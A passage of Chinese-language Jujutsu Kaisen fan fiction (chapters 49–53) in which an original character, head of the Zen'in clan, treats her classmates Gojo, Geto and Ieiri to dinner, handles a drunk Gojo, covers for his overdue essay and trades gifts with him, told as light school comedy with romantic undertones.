随后他又想:可是禅院家最后都要落入禅院桃的手中,禅院直哉又能算得了什么呢? 于是他仰头饮下一口酒,随他们去了。 “桃姐姐,甚尔君走的时候说你给他安排了任务,那他什么时候能完成任务回来呢?” 任务? 今野桃回忆了一下这个已经被她抛在脑后的男人,他离开也有七八年了吧。 他走的那天,她已经是禅院家说一不二的人物了。在她的示意下,禅院甚尔离开得轻轻松松,没有人敢阻拦。 ‘那你需要我帮你做什么呢?’他这样问道。 今野桃笑了一声,回答:‘去像自由的鸟儿一样飞翔,过你想要的生活吧。这就是我需要你做到的。’ 禅院甚尔什么都没说,走出了禅院家的大门。 “他什么时候想回来了,就自然会回来。直哉,不要做多余的事情,听见了吗?” 冷厉的声音像是箭一样射中了禅院直哉,哪怕今野桃没有出现在他的面前,他的表情也变得畏缩,眼中闪过恐惧。 “我、我知道的。”他低声回道。 电话挂断,禅院直哉还在出神。禅院直毘人想了想,试探地开口道:“直哉啊,小桃毕竟是个女人,你是我的儿子,禅院家其实更应该……” “父亲大人!”禅院直哉瞪大了眼睛,“只有桃姐姐才能带领禅院变得更加兴旺!我不可能做得到的!” 禅院直毘人堵了一口气不上不下的:“我没想要你跟她打架!” 谁能打得过她啊!他烦躁的是,禅院直哉怎么一点上进心都没有! “父亲大人,家族齐心协力才能有凝聚力,我们怎么能拖桃姐姐的后腿!”禅院直哉坚定地回道,“我看您是真的像桃姐姐说得那样,老糊涂了罢!” 禅院直毘人:…… 这糟心孩子,扔了算了…… 今野桃在新学校的第一顿饭吃的不是食堂,他们坐着鵺下山,去了市中心吃烤肉。 “我请客,就当是迟到的歉礼。”她温和却又不容拒绝地说道。 订的是高档餐厅,口碑好、风景好,唯一不好的就是价格太贵。但既然有人请客,那他 们自然没有拒绝的理由。 “好耶!”五条悟第一个欢呼起来,“我要狠狠宰你一顿!” “行啊,只要不浪费,随便你吃。”今野桃无所畏惧地说道。 但出身普通的夏油杰有些不太能接受五条悟的点单风格,他颇有些心惊胆战地看着同窗把所有贵价料理都勾上,粗略估计得要个六位数往上。 “差不多了吧,悟。”他迟疑地开口,“或者让我来点一些……” “没事没事,她有钱着呢,整个禅院都是她的。”五条悟漫不经心地说道,“不要同情资本家!” 这话说得,五条难道就不是你的了吗? 夏油杰和家入硝子时常会忘记自己的这位同学出身大族,因为他实在太不正经了。或者说,几乎没有他们想象中的贵族架子。 今野桃安抚地对夏油杰笑了笑:“不用在意,凭杰的能力,以后要赚钱实在太简单不过了。还有硝子也是,反转术式可是非常珍贵的呢。” 这样说……好像也是…… 夏油杰内心的纠结略微放下。今野桃起身,拉开椅子说:“我去一趟卫生间。” 家入硝子想跟着起来:“我也……” “硝子先点单吧,我马上就回来的。”今野桃摆摆手,“顺便帮我看着一下悟,别让他乱点。” 家入硝子若有所思地坐了回去。转过头,五条悟已经悄悄把菜单翻到了最后一页。 那一部分是酒水饮料,她赫然看见五条悟不动声色地勾了一杯甜白葡萄酒。 “……五条。”家入硝子咳了两声,用下巴点了点那张图片,“是你点的吧?” 五条悟狡辩:“不知道耶,可能是杰吧,毕竟他看起来就不是很安分的样子。” 夏油杰:“?” “我们可还是未成年。”家入硝子头疼地说道,“而且,你能喝吗?你酒量怎么样?到时候喝醉了,可别要我们扛回去。” 五条悟的目光游离。 “我的酒量啊……还、还行吧。” 他们懂了。 夏油杰坚定地要将他打的勾涂掉:“我可不想晚上照顾一个酒鬼!” “不要嘛不要嘛,杰,我就尝一点!”五条悟抱着菜单不肯放手。 拉扯之间,今野桃回来了。她的手上都没有水迹,不像是去了厕所。 “这是怎么了?吵架了?” 她熟练地揪住了五条悟的衣领,把人拽了回来按在椅子上,然后坐在了他边上,和夏油杰面对面。 “五条想喝酒,我和夏油不同意。”家入硝子耸了耸肩膀说道,“五条酒量一看就不好。” 这点今野桃很赞同:“确实,他还会撒酒疯,一喝醉咒力输出就不稳定了。上次偷偷喝酒,好像是把五条的一排院子都给炸掉了吧?” 家入硝子和夏油杰倒吸了一口气。 那到时候五条悟岂不就变成了一个不受控制的炮台? “悟,想想夜蛾老师,再想想你还没动笔的三千字检讨。”夏油杰苦口婆心地说道,“把这里炸掉,你得赔多少钱啊!” 五条悟耷拉下眉眼:“真的不能喝吗?我就喝一点点。” 他苍蓝色的瞳孔看看夏油杰,又看看家入硝子,白色的睫毛眨了眨。 嘶……美人计!绝对是美人计啊! 可惜,以前或许很有用,但现在他的身边坐着一位比他还要漂亮的美人,效果就大打折扣了。 意志动摇了一瞬,夏油杰还是摇头说道:“我们可照顾不了你。” “不会的啦……” 一只手在五条悟的脑袋上揉了一把,今野桃平静说道:“那就只能喝一杯。” “呜呼!”五条悟美滋滋地点了四杯甜白,他倒也不吝啬,人人都有份。 夏油杰没喝过酒,他略微皱眉,看向今野桃。 “小桃,悟……” “没关系。”今野桃将点好了的菜单递给服务员,“我会照顾你们的。” “是啦是啦,交给她就行了。”五条悟撑着下巴说道,“不管什么事情,只要交给她就会没问题的!” 夏油杰愣了一下,目光有些迷茫。 什么都能交给她吗?沉重的责任、期待、义务、渴求……全部都能交给她吗? “没错哦。”今野桃说出了一句贯彻了她一生的话,“交给我就行了。” 第50章 五条悟意料之中地喝醉了。但事实上,他只喝了一小口。 真的是一小口,就像小猫喝水那样。酒液入喉,他的脸就开始变红了。被稀释过的胭脂在他过于白皙的肌肤上晕染开,十分显眼。 “悟,你还好吗?”夏油杰担心地说道。 他也喝了酒,但甜白的度数不高,对他而言与糖水差不多。 五条悟胡乱地点头,眼神开始迷蒙。他嘀咕着什么“术式顺转”“领域展开”之类叫人害怕的话,偶尔身上冒出蓝色的光。 “没关系吗?要不然带他先回去吧?”夏油杰低声说道。 “没关系的。”今野桃用公筷夹了一块烤牛里脊给他,“不用管他,我们吃。” 油脂还在滋滋地冒烟,酱料和辣椒被熏烤后香气更浓,让人难以割舍。 夏油杰看见她握住五条悟的右手,指关节锁住了他的手指,这样他就无法结印了。五条悟挣扎了一下,没挣开,于是干脆两只手一起玩起了她的左手。 猫咪得到了喜欢的玩具,于是变得安分。 酒足饭饱,大家都吃得心满意足。夏油杰正想起身去扶五条悟,却被今野桃阻拦了。 “还没喝完呢,悟。”她拿起桌上唯一那个还装着红酒的杯子,“你不是说了,要喝酒的吗?” 五条悟不知道是没听清楚还是在装傻,只是一味地把脑袋埋在她的肩膀上。 “之前点餐的时候我说了的呀。”今野桃却不惯着他,“我说了,悟可以随便吃,只要不浪费。” 夏油杰止住了动作,摸了摸鼻子不说话。 五条悟嘟囔了一串谁都没有听懂的话,哼哼唧唧的。 “酒是悟坚持要点的,那悟当然也要把它喝掉,对不对。”今野桃抬起了他的下巴,杯口倾斜,还剩小半杯的红酒撬开他的唇缝灌了进去。 但也有一部分没能进入他的口中,顺着嘴角流下,打湿了他的白衬衫。 衬衫的布料本就轻薄,洇湿后了贴在身上,隐约透出下面的肌肤。 当杯子空了,五条悟已经醉倒在她的怀里。 今野桃轻松地将他搀起来,五条悟像是退化到了六岁,一个劲地缠着她,想要到她怀里去。 他喝得太多了,已经远远超出了自己的酒量。 夏油杰谨慎地打量了一番他身上冒出的咒力,觉得自己可能打不过这个状态的悟。 平日里切磋,大家都是收敛着的,谁也不会下狠手。但现在的悟,可真不好说会不会留情。 回到了学校,夏油杰看看男生宿舍楼,又看看女生宿舍楼。 “把悟放自己宿舍?”他干笑道,“总不能带到小桃的宿舍里去吧。” 今野桃不置可否地率先迈开脚步,朝着男生宿舍走去。 “硝子,你回去休息吧。”她轻轻拍了拍她的背,“明天还要上课呢。” “嗯,那就明天见了。”家入硝子摆摆手,进了女生宿舍。 夏油杰的心里满是纠结。肯定不能把五条悟单独放房间,但小桃也不能一直呆在男生宿舍吧…… 就在他苦思冥想的时候,今野桃掏出了一根绳子。 “哇啊!”夏油杰打了个哆嗦,眯眯眼都睁大了,连忙拉住她的手臂,“小桃你要干什么?” 正打算用黑绳把五条悟绑起来的今野桃歪了歪头,回道:“免得他晚上吵醒你,把他绑起来啊。” 不不不,这也太、太…… 夏油杰觉得不行。 “放心好了,这根绳子叫做‘黑绳’,是一件咒具,可以与咒术师身上的咒力中和,相互抵消,但并不会对咒术师造成伤害。 “今野桃安慰他道,“这样悟就不会把学校炸掉了。” 黑色的绳子在五条悟的手腕上缠绕了一圈,和他的白色皮肤形成了鲜明的对比。 这怎么看怎么不对劲吧! 夏油杰的脸比刚刚喝了酒还要红,他结结巴巴地说道:“那明天悟会生气的吧?” “没关系,反正他也不是第一次了。” ……好糟糕的对话。 夏油杰觉得自己大脑涨涨的,好像一团被打乱的毛线。 “好啦好啦,别皱眉了。”微凉的手掌撩起他垂落的刘海,将它别到了耳后,“不要总是太关心别人而忽视了自己呀,你也已经很累了吧。” 可是…… “知道你也很关心悟,不过你现在该休息了。”今野桃扣住他的肩膀,强行将他转向,“清空大脑,什么都不要想,去睡觉。” “我……我还不困……”夏油杰的目光四下游离,说话支支吾吾。 搭在他肩膀上的手一紧,忽地,夏油杰的汗毛都竖起来了。强烈的危机感让他的心里响起警铃,他感觉到有一根手指在一节一节地数着他的脊椎,最后按在他的脖子上。 “乖一点,去睡觉。”女孩靠近了他,说话的气息吞吐在他的后心,“还是说,你也需要消耗一点精力?” 是现在立刻去睡觉,还是挨一顿揍再去睡觉? 夏油杰麻溜地做出了选择。 “好的,悟就交给你了。”他飞快滑跪,跑出去的时候像是有鬼在追。 门在他的身后咔哒一声锁上…… 第二天早上八点整,夏油杰睁开了眼睛。他花了十分钟将自己打理好,准备离开宿舍的时候,忍不住看了一眼五条悟紧闭的房门。 他犹豫了一下,还是没有敲响。 八点一刻,他抵达了教室。 教室里只有家入硝子在,她的手里点着一根烟,脸上还带着未尽的睡意。 “早上好。”他朝她打了个招呼。 “早啊。”家入硝子对他点点头,忽然开口道,“要打个赌吗?” “打赌?” “对啊,就赌五条今天能不能来上课。”家入硝子的脸上带着不怀好意的笑,“或者赌下一个到教室的是谁。” 悟应该会来上课吧,只是一点酒,不至于宿醉到起不来? 家入硝子也是这样想的,所以他们最后赌的是后者。 “我猜下一个到的是小桃。”夏油杰摸着下巴开口道,“因为我觉得,她不是那种会迟到的人。” “我猜是悟。”家入硝子说道。 几分钟后,一个人影旋风似的冲了进来。 “禅院桃呢?”他东张西望。 “小桃还没来,怎么了?”夏油杰愿赌服输,答应下次出任务的时候给硝子带一包烟回来。 五条悟的头发凌乱,东一簇西一簇,但好在衣服换了新的,所以看起来不算邋遢。 他腿一勾,拉开椅子坐下。 “跑得真快。”他嘀嘀咕咕地说道,“我都还没反应过来就跑了。” 夏油杰翻动书本的手顿了一下:“哦?你们发生了什么吗?” 五条悟没接他的话。夏油杰扭头,看见五条悟趴在桌子上,露出红得快滴血的耳朵。 他的手指在桌上没有规律地点着。 八点二十七,今野桃走进了教室。她的手里拎着一个袋子,朝三人打了声招呼。 “早上好啊,你们吃早点了吗?” 她的这句话打断了五条悟蓄势待发的诘问技能,他下意识地回道:“没有。” “我也没有呢。”夏油杰伸出双手,举过头顶,“请好心人赐我一份早点吧。” 今野桃笑了起来,把三份早点挨个送到了他们的手中。 家入硝子注意到,他们三个人的早点都不一样。她的袋子里面有一瓶温牛奶,见她看着自己,今野桃点了点喉咙,说道:“保护好嗓子哦。” 她不责备她抽烟,只是要她照顾好身体。 家入硝子也弯了弯眼睛:“谢谢。” 五条悟袋子里的是奶黄包,带着些许流心口感,他一口一个吃得忘乎所以。 看着他鼓鼓的脸颊,家入硝子暗暗摇头。 完全被玩弄于股掌之间嘛,五条。 真是没用。 同样是未来家主,和禅院桃相比,五条悟还像个小孩子。虽然……大家本来也都是小孩子。 她做事太周全了,有一种超乎年龄的成熟。比如因为夏油杰对价格敏感,所以以去洗手间为借口先付了钱避免尴尬;再到知道今天早上五条悟会闹,所以给每个人都带了早点。 轻松拿捏住了啊。 不过也挺好,待在这样的人身边,有一种下雨的时候头顶出现了一把雨伞的感觉呢。 家入硝子感受着牛奶滋润过干涩的喉咙,心情也变得愉快。 咕咚。 五条悟咽下了最后一口奶黄包。然后他用力一拍桌子,嘴角还带着碎屑,大声说道:“禅院桃,你老实交代,昨天晚上对我做了什么坏事!” 门口,正要推门进来的老师被定住了。他抬起来的脚悬在了半空,摇摇晃晃半天没有踏入教室。 这这这,这是他能听的吗? 50-60 第51章 五条悟的话让教室内陷入了诡异的沉默。 所有人都仿佛被按下了暂停键,一时间鸦雀无声。 今野桃第一个反应过来,她坐在自己的位置上,一只手撑着脑袋,侧着头看向靠门坐着的五条悟,拉长了声音说道:“哦——我做了什么坏事呢?我怎么不知道?” 五条悟张了张嘴,面色古怪,想说什么又咽了回去。 “我早上起床,看见手上有勒过的痕迹!”他抬了抬下巴,“你是不是又偷偷用黑绳把我绑起来了!” 噗—— 门外的老师没能及时捂住自己的嘴巴。 他听到了什么劲爆的秘密!五条和禅院玩这么花的吗?! “啊不然呢,谁要你动来动去。”今野桃理直气壮地说道,“而且我也不是偷偷的呀,杰也看见了。” !!!什么?!夏油杰也在场?! 他们、他们难道是3…… 夏油杰瞪大了眼睛,觉得哪里不对,但她好像也没有撒谎。 “好啊,杰,你就被她收买了,忘记我们的朋友之情了是吧!”五条悟把桌子拍得砰砰响,“到底谁先认识你的啊!” 夏油杰为难地说道:“我们当然是朋友,不过嘛……” 五条悟就这么直勾勾地盯着他狡辩。 “咳咳,老师来了。”今野桃及时打断了他们的对话。 都被点名了,自然不能再站在外面看戏。老师夹着课本,正了正表情,走上了讲台。 夏油杰给今野桃投来一个感激的眼神。 家入硝子捂住了下半张脸,怕自己嘴角上扬得厉害被发现。 当局者迷,旁观者清,她看得分明,禅院桃三言两语地就把五条悟集中在她身上的枪口调转到了夏油杰的身上,明明遭到了无妄之灾,夏油杰却还懵懂地向她道谢。 下一节课是夜蛾正道的,他走进教室的第一件事就是看向五条悟。 “悟,你的检讨呢?” 原本还十分放松地瘫坐在椅子上的五条悟瞬间像被戳中要害的炸毛猫咪,一双水汪汪的大眼睛在镜片后面飞快眨动。 “老师~”他夹着嗓子说道,“你怎么不问问桃酱呢~” 昨天大家一起吃的饭,禅院桃绝对没有…… “啊,夜蛾老师,在这里。”今野桃很有礼貌地将手中的稿纸交了上去。 五条悟:“……” 不是,你怎么回事啊!拿出你“霸王龙”的气场啊! 夜蛾正道翻了翻稿纸,确认字数不少,写得也诚恳。于是他的死亡视线又移到了五条悟的身上。 五条悟开始挠头了,他假装翻看着书包,干笑道:“哈哈,夜蛾老师,那个……” “夜蛾老师,这是悟的检讨。”今野桃又递出了一叠稿 纸,“他掉了之后被我捡到了。” “!!”五条悟深吸了一口气。 夜蛾正道挑眉,翻开了稿纸。竟然真的是五条悟的字迹。 都愿意这样糊弄他了,还能说什么呢。 “行吧。”他轻描淡写地揭过,“下次你们再打架破坏公物,检讨字数就翻倍!” “好嘛好嘛。”五条悟吐了吐舌头,装出可爱的模样。 今野桃的目光扫过,微微一笑。 五条悟打了个哆嗦,飞快地把那一小截舌尖收了回来。 趁着夜蛾正道在黑板上写字,家入硝子扔了个纸团给今野桃。 因为学生少,大家都坐在第一排。从门口到窗边依次是五条悟、夏油杰、家入硝子和今野桃。 纸团滚到了今野桃的桌子上,她无奈地看了一眼硝子,在课桌下面打开了纸团。 [你真的帮五条写了三千字检讨?!] 想得美,她自己的检讨都不是自己写的。 今野桃大手一挥,写下一行字,把纸团扔了回去。 家入硝子好奇地打开。 [家主一声令下,禅院通宵达旦。] 原来检讨是禅院家的人写的,她专门找了个会模仿笔迹的人,这两个月可替她写了不少检讨。 帮五条悟写一份,顺手而已。 原来如此,她就说嘛,禅院桃怎么可能会自己写检讨。 家入硝子又把纸团扔了过去。 [厉害厉害(比大拇指)] 她们两人的小动作能瞒得住夜蛾正道,却瞒不住旁边两个男生。 五条悟瘪瘪嘴,扔了个纸团给夏油杰。 [杰!我们被孤立了啊!] 夏油杰嘴角抽了抽,回道: [谢谢,我并没有感觉被孤立。] 五条悟忽略了他的这句话,又写道: [她们两个肯定有小秘密了!] 夏油杰深深地叹了口气,这种毫无营养的话题,他一点都不想继续。于是他写下了一句话: [那悟能告诉我,小桃对你做了什么吗?] 五条悟没有回…… 她对他做了什么,他也不知道。 喝醉了酒的大脑仿佛被一层薄纱笼罩住,他和世界的中间隔了块玻璃,整个人都是朦胧的,以至于他也分不清楚,发生的事情到底是真实的,还是他只是在做梦而已。 月光自窗外照射进来,房间好似泡在了一片银色的湖水中。而她坐在他的床头,穿着一身白色的长裙,让他想起曾经读过的童话书里的美人鱼公主,又宛如一朵误入尘世的云。 他握住了她的手,仰头与她对视。 她抿出了一个浅浅的笑容,嘴唇开合,但他什么都没听清楚。 他只是觉得好渴,喉咙像是有火在燃烧。 他应该是说了什么,因为她的笑容变得无奈而又包容。于是她俯身,两人呼吸交缠,一场春日的雨降临在了他的身上。 她亲了他吗? 明明其他记忆都变得遥远而模糊,但她嘴唇的柔软和舌尖的温暖却始终挥之不去。 心脏好像要从胸口跳出去,五条悟绞尽脑汁,除此之外什么都想不起来。 万一、万一是真的,那他岂不是稀里糊涂地就丢了自己的初吻!本来想诈一下她,结果她也太平静了! 可恶啊!!他终于知道什么叫做喝酒误事了!他发誓,他这辈子都不要再喝酒了!! 五条悟的额头抵着桌面,一想到这个就忍不住发出悲鸣。 “悟!” 一块黑板擦打着旋儿飞过来,在五条悟的脑袋上砸了个大包。 五条悟痛呼一声,抱着脑袋哭唧唧不说话。 “既然大家的精力都这么充沛,那下午就都出去做任务好了!”夜蛾正道哪里不知道他们在下面传纸条,一开始小打小闹也就睁一只闭一只眼了,结果还扰乱课堂秩序! “咦,什么任务?” “两个任务,悟和杰一队,小桃和硝子一队。” 家入硝子发出欢呼:“太好了,终于可以不用跟笨蛋DK一组了!” 夜蛾正道看向今野桃:“小桃,你可以保护硝子的吧?” “这种话说出来,真的会让人怀疑我的能力。”今野桃苦恼地说道,“有我在,硝子想去哪里都行。” 家入硝子立刻黏了上来:“那正好,我们做完任务去逛街吧!” 与其说是做完任务顺便逛街,不如说是去逛街然后顺便做任务。 对他们来说,祓除咒灵需要的时间远不如赶路花的时间多。 五条悟一炮就将丑陋的咒灵轰得灰飞烟灭,连点残秽都没留下。夏油杰抱怨道:“好歹给我留一些啊,悟。” “抱歉抱歉。”两个DK勾肩搭背,他开口道,“等下我们也去逛街吧!” “不要吧,两个男生逛街,好奇怪的。”夏油杰敬谢不敏。 “去嘛去嘛,正好我去给她买个礼物。”五条悟拖着夏油杰往商场走,“看在她帮我写了检讨的份上。” 买礼物……? 夏油杰轻咳了一声,问道:“她喜欢什么啊?” 大概是觉得太过生硬,他又补充了一句。 “我帮你参谋一下。” 五条悟浑然不觉,他推了推眼镜说道:“这个我还真不知道诶。其实我也没有什么特别喜欢的,大概是因为想要什么都可以立刻被满足吧。” “这样啊……” “不过我知道她喜欢吃烧烤。”五条悟得意地说道。 这个不用说也能猜到吧。 夏油杰默默想道。 “要不然买个游戏机给她?任天堂的新款,到时候我们可以一起玩……”五条悟兴致勃勃地说。 夏油杰扶额:“送礼物要送别人能接受的啊。” 两人走进商场,在一个彩妆柜台前停了下来。 柜员飞快地用目光扫过两个男生,露出客气的笑容:“请问二位要买什么?” “就……送给女孩子的。”五条悟稍稍弯腰,看着这些陌生的东西。 哦不对,也不是全都陌生,他认识口红! “这个口红有好看的吗?”他指了指已经拆开的试用装说道。 “有呀,如果是女孩子,我们推荐这款水红色的润唇膏,既能提亮气色,又能滋养嘴唇,而且还不容易被老师发现呢。” 五条悟若有所思地点头:“那就……” “但它看起来会沾杯。”夏油杰打断了他的话,“这个色号的显色度很低,需要反复涂抹才行。” 柜员尴尬地说道:“确实是有一点。那这款呢?经典红,很显白的。” “又土又老,小桃已经很白了,不需要更白。” “那确实是。”五条悟受教地点头。 柜员有些冒汗:“这个女孩一定很漂亮,不如试一试奶茶色,素颜涂抹也是可以的。” 夏油杰还是摇头:“这个颜色遮盖力弱,而且看质地有些黏啊。” 柜员沉默了。 夏油杰在柜台里转了几圈,最后停了下来。 “悟,你觉得这个怎么样? “啊?”五条悟探头过去。 只见夏油杰指着一个色号说道:“漂亮吗?” 樱花色的口红在灯光下显得又粉又嫩,还带着亮晶晶的细闪。 五条悟发出捧场的惊呼:“漂亮耶!” 柜员朝夏油杰投来震惊的目光。 不是,他到底是懂还是不懂啊?! 夏油杰淡淡一笑:“那你就送这个给小桃吧,记得说这是你的一片心意哦。” 第52章 五条悟和夏油杰回到学校的时候,两个女生还没回来。直到夕阳西下,晚饭的时间都过了,她们才姗姗来迟。 两个人的手上都拎着大包 小包,从表情上可以看出她们逛得很开心。 家入硝子更是肉眼可见的愉悦,她刚刚进入高专,虽然有着珍贵的术式,但到底还是个学生,手里没有多少余钱,想买东西也得节省着花。 这次跟着今野桃去逛街,算是彻底过了一把消费瘾。 以前只是听说过有钱人逛商场很夸张,这还是头一次亲身经历。她只要坐在沙发上,就有源源不断的商品送过来。试衣服也是一样,累了就休息,会有跟她身形相仿的人穿上展示给她看。 家入硝子甚至没花多少钱,这里面绝大多数都是今野桃付的账。 她本来不是这种占别人便宜的性格,但今野桃说得太好听了,什么“提前投资”,什么“想和硝子成为朋友”,什么“以硝子的能力这些不过是迟早的东西”,什么“这些身外之物能让硝子觉得开心真是太好了”……差点把硝子给哄成胚胎了。 只能说,不愧是一家之主啊! “嗯?你们也回来了啊。” 家入硝子和今野桃在女生宿舍楼下被堵住,两个DK一左一右夹住了她们。 “有什么事吗?”今野桃开口道。 五条悟神气一笑,掏出了一个小盒子:“喏,我给你带了礼物。” 从包装上就能看出是口红,今野桃想起了什么似的,在一堆手提袋中找到了一个:“我也给你带了礼物,拿去吧。” 袋子上画着任天堂的标记,五条悟瞪大了眼睛:“是《银河战士2》!” 刚刚发售没多久,他一直想着要去买,但错过了首发之后,要不是没时间,要不就是忘记了。 “啊,看你主页上写想要但没买到,这次去逛街就顺路给你买回来了。” 话是这么说,但显然是上心了才会记得。而且,她怎么还会去翻他的主页啊。 这、这……五条悟挠了挠鼻梁,高兴之余,心里又有些说不出的滋味。 “哦对了,还有杰。”今野桃又翻出一个手提袋,“看看这个你喜欢吗。” “咦,我也有吗?”夏油杰没想到自己也有礼物,“谢谢。” 袋子里是一对黑曜石耳钉,在路灯下折射出温润又低调的光泽。 “觉得杰会喜欢,所以就买了。”今野桃随意地说道。 总不能给硝子花了钱、给悟花了钱,最后漏掉了杰吧?刷好感嘛,对玩家来说顺手的事罢了。 夏油杰摩挲着盒子,露出了一个浅浅的笑:“我很喜欢。不过抱歉,我没给你带礼物。” “没关系呀,杰觉得开心就是很好的回礼了。”今野桃熟练地开口。 夏油杰的眼睛微微瞪大,随后垂下眼皮:“这样吗……” 五条悟扬起了一边眉毛,心中微妙地有些不爽。他清了清嗓子,说道:“你快看看,我给你的礼物你喜不喜欢。” 于是今野桃拆开了口红盒子。 一支约莫食指长的口红被放在拉菲草中间,粉色的壳子让家入硝子的心往上提了一下。 不会吧不会吧,不会真的有人买…… “锵锵!”五条悟还配了个音,“是超可爱的颜色呢!” 今野桃和家入硝子一时间都沉默了。 今野桃旋开口红,看见非常著名的“死亡芭比粉”。哦不对,它比“死亡芭比粉”更可怕,它还带闪粉。如果不是包装上写着大品牌的名字,她真的要以为这是五条悟从路边的哪家“两元店”买的。 这是被柜员骗了买的“清仓品”吧?真是丧良心啊。 今野桃和家入硝子思想同步了。 “可爱。”今野桃干巴巴地点头,“你很有眼光。” 五条悟被夸得神采飞扬:“哈哈,也没有啦,这是……” 想到杰反复叮嘱的,要强调是他自己的心意,于是后半截话被吞了下去。 “……是我精心挑选的呢!” 今野桃将口红默默塞进了口袋里。 没关系,她长得漂亮,死亡芭比粉也能接受。唉,怎么能责怪一片好心的纯情男DK呢?一切都是可恶的柜员的诡计! 只有硝子觉得有些奇怪。 莫非这个礼物是五条悟偷偷买的吗?如果夏油杰在边上的话,一定会阻止的吧?之前让他帮忙带化妆品的时候,她分明有好好给他介绍过的…… “杰,晚上一起打游戏吗?”五条悟捧着盒子爱不释手,向好友发出了热情邀请。 夏油杰无奈地看了好友一眼,他倒是想,但是…… “可以呀,那任务报告你来写?” 他们两人是轮流写报告的,这一次刚好到他了。 五条悟嘿嘿一笑,迅速溜走。他才不要写报告呢,完全就是形式主义嘛。 《银河战士Prime2:回声》是《银河战士》系列中第一款能多人联机的游戏,所以如果不一起玩的话,就感觉少了几分意思。 五条悟按动着手柄,玩了一会儿后就把它抛开了。他在床上滚了两圈,最后打开了手机。 [一起打游戏吗?] 过了两分钟,消息变成已读。 [我去你那里?不太好吧。] 五条悟愤愤地发消息过去:[又不是没来过,快点啦!] [好吧,稍等。] 过了一会儿,窗户外传来了敲击声。 五条悟做贼似的打开窗子,将她拉了进来。 今野桃的手里还拎着一个塑料袋,里面装着一些零食。五条悟给了她一个称赞的目光,然后打开袋子挑选自己喜欢的零食。 “你玩过这种手柄游戏吗?”他吸着一袋果冻,含糊不清地问道。 “没有哦,不过看起来不难的样子。”今野桃轻松地回答,“你想教我?” 很好,没玩过就行,看他大杀特杀! 五条悟不怀好意地想,终于轮到他压她一头了! “来来来,我教你玩!”他迫不及待地说道。 五分钟后,今野桃死在了小怪的手中。她放下手柄,活动着手指,若有所思地说道:“原来是这种玩法。” 五条悟忍笑,掐着嗓子说道:“哎呀,你没玩过,死得快很正常,接下来看悟大人表演就行咯。” 今野桃按住他的手,挑眉说道:“再开一局。” 好胜心还挺强,开就开吧。 半个小时后,五条悟用尽了最后一颗子弹,不幸死亡。 他沉默两秒,把手柄一扔,往后躺倒。 “好累啊,有些头晕,一定是没休息好。”他狡辩道。 五条悟的心里有些沮丧,又有些理所当然。那可是禅院桃诶,他曾在族里听到有人私下说她是“年轻の魔王”,是“未来の暴君”。区区游戏,怎么能难得倒她。 不过,她是魔王、是暴君,那他就是勇者!是骑士!总有一天,一定会挑战成功! 没有打不败的魔王,没有推不翻的暴君! 忽然,魔王的手摸过他的额头。 “头晕?”她沉吟道,“看样子昨天的酒还没醒彻底。” 她摘下他的眼镜,掌心覆盖在他苍蓝色的双瞳之上,一股温柔的咒力如流水般缓缓淌入他的身体,包裹住他的骨、他的血、他的肉。在“六眼”的注视下,他与她融为一体。 好舒服……五条悟迷蒙地从指缝里看她,和她深邃的目光对视。她也在看他,一直在看他。 他张了张嘴,开口道:“……你是不是不喜欢我送的那支口红。” 五条悟不是个傻子,只是有时候故意抛掉了大脑。他自认做不到像禅院桃这样走一步看五步,也没有那么强烈的掌控欲,反正那些人都伤不到他。 而能伤到他的人,永远不会伤害他。 “也没有不喜欢。”今野桃斟酌着说道,“但你能想象到,我涂着那种粉色的口红去骂人吗?很没有气势诶。” 五条悟鼓着脸想了一下,然后噗嗤一声笑了出来。 粉粉的、可爱的、像桃子一样的桃酱…… “不过嘛,虽然我不适合,但我觉得你很适合。”今野桃把口红从口袋里掏出来,打开,旋出一小截,慢慢靠近,“悟涂上,一定很好看。” “不要!”五条悟把脸埋在了她的大腿上,坚决不肯抬头,“我是绝不会涂的!” “哎呀,涂嘛涂嘛,反正也不会有第三个人看见呀。” 他越是不想,今野桃就越是要逼迫他。桀桀桀,小猫咪难道还能逃脱她的魔爪吗! “我不!”五条悟像条虫子一样扭来扭去。 “就一下!就让我看一下!拜托了嘛——” 带着细闪的樱花色口红到底还是抹上了五条悟的嘴巴,可惜只留存了两秒钟,她还来不及打开手机拍照,他就飞快地将它擦掉了。 薄唇上的亮晶晶让人想到昂贵的糖果,如果含在 口中,一定会很好吃吧。今野桃盯着他的视线慢慢变得幽深。 会开发出这种口红,倒也不是毫无道理。 “好了好了,你快走吧!”五条悟把她往外推,总觉得她继续待下去,会发生什么奇怪的事情。 今野桃笑了笑,好脾气地起身说道:“好吧,下次再一起玩。” 她推开窗子,跳了出去。 过了一会儿,把任务报告写完的夏油杰敲响了五条悟的宿舍门。 “悟,还要一起打游戏吗?” 五条悟磨磨蹭蹭地从床上爬起来,打开了门。 “你好慢啊,杰。” “我已经加快速……”夏油杰的话卡在了喉咙里。 明亮的灯光下,五条悟的嘴角有一点细碎的光,那是他没有擦干净的口红。 夏油杰的目光转到室内,两个手柄被随意地扔在地上。 第53章 “悟,你刚刚是在和小桃玩游戏吗?”夏油杰声音轻柔地问道。 五条悟打开门后,一边朝着手柄那边走去一边说道:“是诶,她刚刚走。” 夏油杰的视线在屋内转了一圈,说道:“我在对面怎么没感觉到有人下楼?” 五条悟随口回道:“她有式神啦,当然从窗子飞更快。” 原来如此。 夏油杰听懂了,难怪他什么都不知道。 眼看五条悟带着那点痕迹到处招摇,夏油杰有点受不了了。他指了指自己的嘴角,斜了五条悟一眼。 五条悟:? 夏油杰又点了点,试图用眼神暗示他。 五条悟犹豫了一下,问道:“杰,你在卖萌吗?” 夏油杰叹了口气。 “擦一擦吧,悟,”他移开目光,“多少也照顾一点单身人士的心情啊。” “我也单身啊。”五条悟对着镜子一照,耳根瞬间红了。 他明白了夏油杰的意思了。只见他的嘴角处,一点闪粉正在发光。 等等!杰不会以为、以为他和禅院桃接、接吻了吧! 轰隆一声,有什么在他的脑子里炸开。 “你误会了啊!”他恼羞成怒地说道,“我跟她不是那种关系!” 嗯?不是那种关系也能接吻? “硝子还说我是人渣,明明悟才是啊。”夏油杰感慨道,“好过分呢。” 五条悟深吸了一口气。 要解释自己被按在床上动弹不得最后强行涂上了口红吗?这说出去,以后他的脸往哪搁! 那要说他好奇试了一下她的口红?这也很奇怪好吧! 啊啊啊,可恶的禅院桃! “总之,我和她不是你想的那样!”五条悟盘腿坐在地板上,愤愤地说道,“你也不要被她骗了!” 夏油杰跟着坐在了他的旁边,哄道:“好好好,我当然是相信你啦。” “哼哼。”五条悟拿起手柄,半是抱怨地说道,“你别看她长得漂亮又很强的样子,其实她的性格很恶劣的!” 